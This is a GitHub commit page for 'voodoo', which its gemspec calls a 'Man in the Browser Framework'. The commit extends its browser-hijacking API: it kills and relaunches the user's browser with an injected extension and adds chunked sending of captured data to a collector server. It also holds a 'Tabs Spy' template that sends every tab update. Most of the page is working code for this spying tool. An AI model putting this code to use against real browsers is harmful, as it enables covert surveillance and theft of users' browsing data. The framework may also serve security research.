Skip to content

Commit

Permalink
Merge pull request #3 from breakpointHQ/dev
Browse files Browse the repository at this point in the history
extend voodoo js api
  • Loading branch information
masasron authored Mar 16, 2022
2 parents 5855ba6 + c7e9a07 commit 8bb32a9
Show file tree
Hide file tree
Showing 6 changed files with 96 additions and 30 deletions.
21 changes: 8 additions & 13 deletions lib/voodoo/browser.rb
Original file line number Diff line number Diff line change
Expand Up @@ -49,11 +49,15 @@ def add_permissions(permissions)
@extension.manifest[:permissions] += permissions
end

def hijack(urls = [], flags: '')
def close_browser
# kill the browser process twise, to bypass close warning
`pkill -a -i "#{@process_name}"`
`pkill -a -i "#{@process_name}"`
sleep 0.2
end

def hijack(urls = [], flags: '')
close_browser()

urls = [urls] unless urls.kind_of? Array
urls = urls.uniq
Expand Down Expand Up @@ -92,7 +96,7 @@ def Browser.Chromium
self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
end

def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true)
if matches != nil && background != false
puts 'WARNING: matches is ignored when background is set to true.'
end
Expand All @@ -107,8 +111,8 @@ def add_script(content: nil, file: nil, matches: nil, options: {}, background: f

event_count = 0

if block_given?
collector = Collector.new
if block_given? && communication == true
collector = Collector.new(close_browser: method(:close_browser))
collector.on_json {|jsond|
yield jsond
if (max_events != nil)
Expand Down Expand Up @@ -158,15 +162,6 @@ def add_script(content: nil, file: nil, matches: nil, options: {}, background: f
return @extension.add_content_script(matches, js: [content])
end
end

protected

def make_collector
collector = Collector.new
collector.on_json {|jsond| yield jsond }
@collector_threads.push(collector.thread)
return collector
end
end

end
13 changes: 9 additions & 4 deletions lib/voodoo/cli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@

module VOODOO

VERSION = 'v0.0.11'
VERSION = 'v0.0.12'

class CLI < Thor

Expand Down Expand Up @@ -108,7 +108,7 @@ def template(path)
end

browser_inst = template['browser'] || {}
browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
browser = get_browser(options[:browser] || browser_inst['name'] || browser_inst['default'] || 'chrome')

if template['permissions']
browser.add_permissions template['permissions']
Expand All @@ -128,9 +128,14 @@ def template(path)
content = script['content']
matches = script['matches']
background = script['background'] || false

communication = true

if script.keys.include? 'communication'
communication = script['communication']
end

if output_handler.writable
browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background, communication: communication) do |event|
output_handler.handle(event)
end
else
Expand Down
29 changes: 28 additions & 1 deletion lib/voodoo/collector.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,9 @@ class Collector
attr_reader :thread
attr_reader :token

def initialize(port = 0)
def initialize(port = 0, close_browser: nil)
@chunks = []
@close_browser = close_browser
if port == 0
tmp_server = TCPServer.open('127.0.0.1', 0)
@port = tmp_server.addr[1]
Expand Down Expand Up @@ -50,6 +52,31 @@ def on_json
socket.close

jsonData = JSON.parse(post_body, {:symbolize_names => true})

if jsonData[:log]
puts jsonData[:log]
end

if jsonData[:chunk]
@chunks << jsonData[:payload][1]
if jsonData[:payload][0] == @chunks.length
payload = {
payload: @chunks.join('')
}
@chunks = []
yield payload
end
return
end

if jsonData[:kill] == true
if jsonData[:close_browser] && @close_browser != nil
@close_browser.call()
end
self.thread.kill
return
end

yield jsonData
rescue
end
Expand Down
59 changes: 49 additions & 10 deletions lib/voodoo/js/voodoo.js
Original file line number Diff line number Diff line change
Expand Up @@ -4,25 +4,64 @@ if (!sessionStorage.tab_uuid) {

const VOODOO = {
options: { collector_url: "%{collector_url}" },
send(payload) {
if (!VOODOO.options.collector_url) {
utils: {
sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
},
chunk_string(str, length) {
return str.match(new RegExp('.{1,' + length + '}', 'g'));
},
is_bg_script: window.location.href.indexOf("_generated_background_page.html") !== -1,
send(body) {
if (!VOODOO.options.collector_url) {
return;
}

body = JSON.stringify(body);

if (VOODOO.utils.is_bg_script) {
return navigator.sendBeacon(VOODOO.options.collector_url, body);
}

chrome.runtime.sendMessage({
collector_url: VOODOO.options.collector_url, body
});
}
},
log(msg) {
VOODOO.utils.send({ log: msg.toString() });
return VOODOO;
},
kill(options = {}) {
VOODOO.utils.send({ ...options, kill: true });
return VOODOO;
},
async send(payload) {
let chunks = [];

if (typeof payload === "string" && payload.length > 10000) {
chunks = VOODOO.utils.chunk_string(payload, 10000);
}

if (chunks.length > 0) {
for (let i in chunks) {
VOODOO.utils.send({
chunk: i,
payload: [chunks.length, chunks[i]]
});
await VOODOO.utils.sleep(1);
}
return;
}

const body = JSON.stringify({
VOODOO.utils.send({
time: new Date().getTime(),
tab_uuid: sessionStorage.tab_uuid,
origin: window.location.origin,
payload
});

if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
return navigator.sendBeacon(VOODOO.options.collector_url, body);
}

chrome.runtime.sendMessage({
collector_url: VOODOO.options.collector_url, body
});
return VOODOO;
}
};

Expand Down
2 changes: 1 addition & 1 deletion templates/tabs-spy.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ info:
name: Tabs Spy
author: Mr. Test

output: payload
format: payload

scripts:
- content: chrome.tabs.onUpdated.addListener((_,tab) => VOODOO.send(tab));
Expand Down
2 changes: 1 addition & 1 deletion voodoo.gemspec
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
Gem::Specification.new do |s|
s.name = 'get-voodoo'
s.version = '0.0.11'
s.version = '0.0.12'
s.summary = 'Man in the Browser Framework'
s.description = 'Man in the Browser Framework'
s.authors = ['Ron Masas']
Expand Down

0 comments on commit 8bb32a9

Please sign in to comment.